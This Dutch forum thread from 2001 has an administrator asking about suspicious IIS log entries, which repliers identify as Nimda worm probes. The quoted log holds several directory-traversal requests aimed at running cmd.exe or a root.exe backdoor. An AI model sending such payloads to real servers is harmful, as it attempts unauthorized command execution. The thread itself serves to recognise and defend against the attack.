IIS webserver attack?

[Flyduck]

Ik ben in de logs van onze IIS webserver vreemde dingen tegegekomen... hier een stukje:

194.128.98.2 - - [12/Oct/2001:04:06:55 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:56 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:57 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:57 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:58 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:58 +0100] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:58 +0100] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:59 +0100] "GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:06:59 +0100] "GET /scripts/..Á../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:01 +0100] "GET /scripts/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:02 +0100] "GET /winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:03 +0100] "GET /winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:03 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:04 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:04 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396
194.128.98.2 - - [12/Oct/2001:04:07:08 +0100] "GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3396

En dit op een aantal websites en heel frequent vanaf verschillende IP's .. Is dit een soort zoeken naar lekken in de beveiliging??

Fly

[Zwelgje]

yep

[Asphyxion]

UTFS?

[Flyduck]

Op maandag 15 oktober 2001 15:34 schreef Asphyxion het volgende:
UTFS?

Zucht

[jelmervos]

Mooi laten gaan, zolang jij alles maar goed dicht hebt.

[Verwijderd]

Da's idd de Code Red worm die je IIS op lekken gaat testen. Maar er staat 404 achter die requests, dus root.exe (backdoor programma) is niet gevonden dus je server zal wel gepatched zijn.

[wildhagen]

Op maandag 15 oktober 2001 15:41 schreef TheNarfstyler het volgende:
Da's idd de Code Red worm die je IIS op lekken gaat testen. Maar er staat 404 achter die requests, dus root.exe (backdoor programma) is niet gevonden dus je server zal wel gepatched zijn.

Nee, dit is niet CodeRed, die pakt default.ida. Dit is een al wat oudere exploit, waar ook allang een patch voor is. Ik weet alleen ff de naam van het ding niet meer.

[Flyduck]

Zo zie je maar weer hoe onwijs belangrijk die patches zijn :-)

[Verwijderd]

Idd, dit is Nimda. Ik zat mis

[Asphyxion]

Op maandag 15 oktober 2001 15:37 schreef Flyduck het volgende:

[..]

Zucht

Zucht...

[AMDFreak]

Op maandag 15 oktober 2001 15:47 schreef Flyduck het volgende:
Zo zie je maar weer hoe onwijs belangrijk die patches zijn :-)

Nee al het goeie komt van Dutch Power Cows